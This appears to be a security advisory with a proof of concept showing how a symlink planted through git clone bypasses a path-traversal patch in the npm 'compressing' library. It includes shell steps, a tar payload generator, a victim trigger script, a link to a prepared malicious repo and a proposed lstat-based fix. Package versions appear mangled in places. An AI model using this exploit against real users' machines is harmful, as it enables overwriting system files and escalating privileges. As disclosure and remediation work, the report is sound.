Complete Bypass of CVE-2026-24884 Patch via Git-Delivered Symlink Poisoning in compressing

3. Comprehensive Attack Vector & Proof of Concept

PoC Overview: The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a "poisoned path" on their local disk. Why this is critical:

• No social engineering required beyond a standard git clone.
• The symlink is "pre-planted" by Git itself, removing the need for prior system access.
• Victim's workflow remains indistinguishable from legitimate activity.

Step 1: Environment Preparation (Victim System)

TIP Prerequisite: Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a MODULE_NOT_FOUND error for tar-stream or compressing, run: npm install [email protected] tar-stream` in your current working directory.

Create a mock sensitive file to demonstrate the overwrite without damaging the actual OS.

# Workspace setup
mkdir -p ~/poc-workspace
cd ~/poc-workspace

# 1. Create a fake sensitive file
mkdir -p /tmp/fake_root/etc
echo "root:SAFE_DATA_DO_NOT_OVERWRITE" > /tmp/fake_root/etc/passwd

# 2. Install latest vulnerable library
npm install [email protected] tar-stream

Step 2: Attacker Side (Repo & Payload)

2.1 Create the poisoned GitHub Repository

1. Create a repo named compressing_poc_test on GitHub.
2. On your local machine, setup the malicious content:

mkdir compressing_poc_test
cd compressing_poc_test
git init
# CREATE THE TRAP: A symlink pointing to the sensitive target
ln -s /tmp/fake_root/etc/passwd config_file
# Setup Git
git branch -M main
git remote add origin https://github.com/USERNAME/compressing_poc_test.git

2.2 Generate the Malicious Payload Create a script gen_payload.js inside the parent folder (~/poc-workspace) to generate the exploit file:

const tar = require('tar-stream');
const fs = require('fs');
const pack = tar.pack();
// PAYLOAD: A plain file that matches the symlink name
pack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\n');
pack.finalize();
pack.pipe(fs.createWriteStream('./payload.tar'));
console.log('payload.tar generated successfully!');

Run the script to create the payload:

node gen_payload.js

This will create a payload.tar file in your current directory.

2.3 Push Bait & Payload to GitHub Now, move the generated payload into your repo folder and push everything to GitHub:

# Move the payload into the repo folder
mv ../payload.tar .
# Add all files (config_file symlink and payload.tar)
git add .
git commit -m "Add project updates and resource assets"
git push -u origin main

For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing_poc_test.git

Step 3: Victim Side (The Compromise) The victim clones the repo and runs an application that extracts the included payload.tar.

# 1. Simulate a developer cloning the repo
cd ~/poc-workspace

# In a real attack, the victim clones from your GitHub URL
git clone https://github.com/USERNAME/compressing_poc_test.git victim_app
cd victim_app

# 2. Create the Trigger script (victim_app.js)

cat <<EOF > victim_app.js
const compressing = require('compressing');
async function extractUpdate() {
    console.log('--- Victim: Extracting Update Package ---');
    try {
        // This triggers the bypass because 'config_file' already exists as a symlink
        await compressing.tar.uncompress('./payload.tar', './');
        console.log('[+] Update Successful!');
    } catch (err) {
        console.error('[-] Error:', err);
    }
}
extractUpdate();
EOF

# 3. VERIFY THE OVERWRITE
echo "--- Before Exploit ---"
cat /tmp/fake_root/etc/passwd

# 4. Run the victim_app.js
node victim_app.js

# 5. After Exploit Run
echo "--- After Exploit ---"
cat /tmp/fake_root/etc/passwd

Why this bypass works

• The Library's Logic: compressing uses path.resolve on entry names and compares them string-wise with the destination directory.
• The Gap: Because path.resolve does not check if intermediate directories are symlinks on disk, it treats config_file (the symlink) as a normal path inside the allowed directory.
• The Result: The underlying fs.writeFile follows the existing symlink to the protected target (/tmp/fake_root/etc/passwd), bypassing all string-based security checks.

4. Impact Assessment

What kind of vulnerability is it? This is an Arbitrary File Overwrite vulnerability caused by a Symlink Path Traversal bypass. Specifically, it is a "Partial Fix" bypass where a security patch meant to prevent directory traversal only validates path strings but ignores the filesystem state (symlinks).

Who is impacted? 1. Developers & Organizations: Any user of the compressing library (up to v2.1.0) who extracts untrusted archives into a working directory.

2. Supply Chain via Git Clone (Primary Vector): Git natively restores symlinks during git clone. An attacker who controls or compromises any upstream repository can embed malicious symlinks. The victim's only required action is standard developer workflow clone and run. No social engineering or extra steps needed beyond trusting a repository.

3. Privileged Environments: Systems where the extraction process runs as a high-privilege user (root/admin), as it allows for the overwriting of sensitive system files like /etc/passwd or /etc/shadow.

Impact Details

• Privilege Escalation: Gaining root access by overwriting system configuration files.
• Remote Code Execution (RCE): Overwriting executable binaries or startup scripts (.bashrc, .profile) to run malicious code upon the next boot or login.
• Data Corruption: Permanent loss or modification of application data and database files.
• Reputational Damage to Library: Loss of trust in the compressing library's security architecture due to an incomplete patch for a known CVE.

5. Technical Remediation & Proposed Fix To completely fix this vulnerability, the library must transition from String-based validation to State-aware validation.

1. The Vulnerable Code (Current Incomplete Patch) The current logic in lib/utils.js only checks the path string:

// [VULNERABLE] Does not check if disk segments are symlinks
function isPathWithinParent(childPath, parentPath) {
  const normalizedChild = path.resolve(childPath);
  const normalizedParent = path.resolve(parentPath);
  // ... (omitted startsWith check)
  return normalizedChild.startsWith(parentWithSep);
}

2. The Proposed Fix (Complete Mitigation) The library must recursively check every component of the path on the disk using fs.lstatSync to ensure no component is a symbolic link that redirects to a location outside the root.

const fs = require('fs');
const path = require('path');
/**
 * SECURE VALIDATION: Checks every segment of the path on disk
 * to prevent symlink-based directory poisoning.
 */
function secureIsPathWithinParent(childPath, parentPath) {
  const absoluteDest = path.resolve(parentPath);
  const absoluteChild = path.resolve(childPath);
  // Basic string check first
  if (!absoluteChild.startsWith(absoluteDest + path.sep) && 
      absoluteChild !== absoluteDest) {
    return false;
  }
  // RECURSIVE DISK CHECK
  // Iteratively check every directory segment from the root to the file
  let currentPath = absoluteDest;
  const relativeParts = path.relative(absoluteDest, absoluteChild).split(path.sep);
  for (const part of relativeParts) {
    if (!part || part === '.') continue;
    currentPath = path.join(currentPath, part);
    try {
      const stats = fs.lstatSync(currentPath);
      // IF ANY COMPONENT IS A SYMLINK, REJECT IT
      if (stats.isSymbolicLink()) {
        throw new Error(`Security Exception: Symlink detected at ${currentPath}`);
      }
    } catch (err) {
      if (err.code === 'ENOENT') break; // Path doesn't exist yet, which is fine
      throw err;
    }
  }
  return true;
}

3. Why and How it works:

• Filesystem Awareness: Unlike the previous fix, this code uses fs.lstatSync. It doesn't trust the string; it asks the Operating System, "What is actually at this location?".
• Segmented Verification: By splitting the path and checking each part (config, then config/file), it catches the "Poisoned Directory" (config -> /etc) before the final write happens.
• Bypass Prevention: Even if the string check passes, the loop will detect the symlink at the config segment and throw a security exception, stopping the fs.writeFile before it can follow the link to /etc/passwd.
• Atomic Security: This implementation ensures that the logical path and the physical path are identical, leaving no room for "Divergence" exploits.

Note: For production, it is recommended to use the asynchronous fs.promises.lstat to prevent blocking the Node.js event loop during recursive checks.